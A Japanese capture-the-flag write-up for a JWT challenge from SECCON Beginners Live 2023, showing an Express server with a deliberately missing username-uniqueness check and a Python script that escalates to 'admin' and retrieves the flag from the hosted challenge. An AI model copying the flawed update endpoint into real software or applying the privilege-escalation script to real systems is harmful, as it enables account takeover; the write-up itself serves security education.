SECCON Beginners Live 2023 「JWTセキュリティ入門」 チャレンジ問題 writeup

Posted on Sep 26, 2023

はじめに

2023年9月3日に開催されたSECCON Beginners Live 2023にて、「JWTセキュリティ入門」というタイトルでLT発表を行いました。

その際に出題したチャレンジ問題についての解法をまとめます。

問題

問題のソースコードはこちらです。

const express = require("express");
const jwt = require("jsonwebtoken");
const crypto = require("crypto");

const PORT = 5504;
const FLAG = "flag{this_is_trial3_flag}";

const app = express();
app.use(express.json());

// シークレットキーを生成
const secret = crypto.randomBytes(16).toString("hex");

// 初期ユーザーを設定
const users = [
  {
    id: "admin",
    username: "admin",
    password: crypto.randomBytes(16).toString("hex"),
  },
  {
    id: "guest",
    username: "guest",
    password: "guest"
  }
]

// ユーザーのプロパティが存在するか確認する関数
function isUserPropertyExist(key, value) {
    return users.some(user => user[key] === value);
}

app.get("/", (req, res) => {
    res.send("Welcome to SECCON Beginners Live 2023 JWT Challenge!");
});

// ユーザー登録エンドポイント
app.post("/signup", (req, res) => {
    const { id, username, password } = req.body;
    if (!id || !username || !password) {
        res.status(400).json({ error: "Please send id, username and password" });
        return;
    }

    if (isUserPropertyExist('username', username)) {
        res.status(400).json({ error: "Username already exists" });
        return;
    }

    if (isUserPropertyExist('id', id)) {
        res.status(400).json({ error: "ID already exists" });
        return;
    }

    users.push({
        id,
        username,
        password
    });
    
    res.json({ message: "User registered successfully" });
});

// サインインエンドポイント
app.post("/signin", (req, res) => {
  const { id, password } = req.body;
  if (!id || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  let user = users.find(u => u.id === id && u.password === password);
  if (!user) {
    res.status(401).json({ error: "Invalid id or password" });
    return;
  }

  let signed;
  try {
    signed = jwt.sign({
        id: user.id,
        username: user.username,
        solved: false
    },
      secret, 
      { algorithm: "HS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

// ユーザー名更新エンドポイント
app.post("/username/update", (req, res) => {
    const { newUsername } = req.body;
    const token = req.header("Authorization");
    
    if (!newUsername || !token) {
        res.status(400).json({ error: "Please send newUsername and provide JWT token" });
        return;
    }

    let verified;
    try {
        verified = jwt.verify(token, secret, { algorithms: ["HS256"] });
    } catch (err) {
        res.status(401).json({ error: "Invalid Token" });
        return;
    }

    const currentId = verified.id;
    let user = users.find(u => u.id === currentId);
    if (!user) {
        res.status(404).json({ error: "User not found" });
        return;
    }

    if (user.username === "admin") {
        res.status(403).json({ error: "Admin user cannot change its username" });
        return;
    }

    user.username = newUsername;
    res.json({ message: "Username updated successfully" });
});

// flag取得エンドポイント
app.get("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      secret, 
      { algorithms: ["HS256"] }
    );
  } catch (err) {
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (verified.username === "admin") {
    let newToken;
    try {
        newToken = jwt.sign({
            id: verified.id,
            username: verified.username,
            solved: true
        },
            secret,
            { algorithm: "HS256", expiresIn: "1h" }
        );
    } catch (err) {
        res.status(500).json({ error: "Internal server error" });
        return;
    }

    res.header("Authorization", newToken);
    res.send(`Congratulations! Here's your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

...

// サーバーの起動
app.listen(PORT, () => {
  console.log(`Server is running on port ${PORT}`);
});

ユーザー登録エンドポイント(/signup)では、idusernamepasswordを送信してユーザー登録を行います。

サインインエンドポイント(/signin)では、送信するidpasswordに対応するユーザーのidusernamesolvedをペイロードとした、HS256アルゴリズムで署名されたJWTが返されます。

flag取得エンドポイント(/flag)では、JWTのペイロードのusernameパラメータの値がadminである場合にflagが得られます。

// flag取得エンドポイント
app.get("/flag", (req, res) => {
  ...

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      secret, 
      { algorithms: ["HS256"] }
    );
  } catch (err) {
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (verified.username === "admin") {
    ...
    res.send(`Congratulations! Here's your flag: ${FLAG}`);
    return;
}

JWTの検証時に使用される共通鍵は以下で生成されるため、総当たり攻撃などで秘密鍵を直接求めることはできず、JWTを改ざんすることは困難です。

// シークレットキーを生成
const secret = crypto.randomBytes(16).toString("hex");

解法

まず、JWTペイロードのusernameパラメータの値がどのように指定されるかを確認します。

サインインエンドポイント(/signin)を確認すると、保存されているユーザーのusernameがペイロードのusernameパラメータの値として指定されていることがわかります。

// サインインエンドポイント
app.post("/signin", (req, res) => {
  const { id, password } = req.body;
  ...
  let user = users.find(u => u.id === id && u.password === password);
  if (!user) {
    res.status(401).json({ error: "Invalid id or password" });
    return;
  }

  let signed;
  try {
    signed = jwt.sign({
        ...
        username: user.username,
        ...
    },
      secret, 
      { algorithm: "HS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  
  ...
});

そこでユーザー登録時にusernameadminに指定することで、ペイロードのusernameパラメータの値をadminにすることを考えます。

しかし、ユーザー登録エンドポイント(/signup)では、usernameパラメータの値が既に登録されているユーザーのusernameと一致する場合にエラーが返されるため、usernameパラメータの値をadminに指定することはできません。

// ユーザー登録エンドポイント
app.post("/signup", (req, res) => {
    const { id, username, password } = req.body;
    ...
    if (isUserPropertyExist('username', username)) {
        res.status(400).json({ error: "Username already exists" });
        return;
    }
    ...
    users.push({
        id,
        username,
        password
    });
    
    res.json({ message: "User registered successfully" });
});

ここでユーザー名更新エンドポイント(/username/update)に着目します。

このエンドポイントではユーザーのusernameが更新できますが、更新の際にnewUsernameの値が既に登録されているユーザーのusernameと一致するかどうかの検証がなされていません。

// ユーザー名更新エンドポイント
app.post("/username/update", (req, res) => {
    const { newUsername } = req.body;
    const token = req.header("Authorization");
    
    // usernameの一致検証がない!!
    ...

    let verified;
    try {
        verified = jwt.verify(token, secret, { algorithms: ["HS256"] });
    } catch (err) {
        res.status(401).json({ error: "Invalid Token" });
        return;
    }

    const currentId = verified.id;
    let user = users.find(u => u.id === currentId);
    if (!user) {
        res.status(404).json({ error: "User not found" });
        return;
    }

    if (user.username === "admin") {
        res.status(403).json({ error: "Admin user cannot change its username" });
        return;
    }

    // newUsernameをadminにすることでユーザーのusernameをadminに更新できる
    user.username = newUsername;
    res.json({ message: "Username updated successfully" });
});

そのため、適当なusernameでユーザー登録を行い、ユーザー名更新エンドポイント(/username/update)でusernameadminに更新することで、JWTペイロードのusernameパラメータの値をadminにすることができます。

その状態でもう一度サインインを行い、取得したJWTをflag取得エンドポイント(/flag)に送信することでflagが得られます。

以下はPythonで実装した問題を解くための一連のプログラムです。

import requests
import random
import jwt

HOST = "https://2023-beginnerslive-jwt-chall.vercel.app"

username = f"user{random.randint(10000, 99999)}"

signup_data = {
    "id": username,
    "username": username,
    "password": "password123"
}

# /signup
signup_response = requests.post(f"{HOST}/signup", json=signup_data)
print("/signup:", signup_response.text)

# /signin as user
signin_data = {
    "id": username,
    "password": "password123"
}
signin_response = requests.post(f"{HOST}/signin", json=signin_data)
print("/signin:", signin_response.text)
encoded_jwt = signin_response.headers['Authorization']
print("encoded jwt:", encoded_jwt)
print("jwt payload:", jwt.decode(encoded_jwt, options={"verify_signature": False}))

# Update username to admin
update_data = {
    "newUsername": "admin"
}
update_headers = {"Authorization": signin_response.headers['Authorization']}
update_response = requests.post(f"{HOST}/username/update", json=update_data, headers=update_headers)
print("/username/update:", update_response.text)

# /signin as admin
signin_data = {
    "id": username,
    "password": "password123"
}
signin_response = requests.post(f"{HOST}/signin", json=signin_data)
print("/signin:", signin_response.text)
encoded_jwt = signin_response.headers['Authorization']
print("encoded jwt:", encoded_jwt)
print("jwt payload:", jwt.decode(encoded_jwt, options={"verify_signature": False}))

# /flag
flag_response = requests.get(f"{HOST}/flag", headers={"Authorization": encoded_jwt})
print("/flag:", flag_response.text) # Congratulations! Here's your flag: flag{this_is_trial3_flag}

おわりに

JWTチャレンジに挑戦してくださった方々、ありがとうございました!

講義で紹介したJWTの脆弱性についてもラボ環境を用いて検証することができますので、ぜひ試してみてください。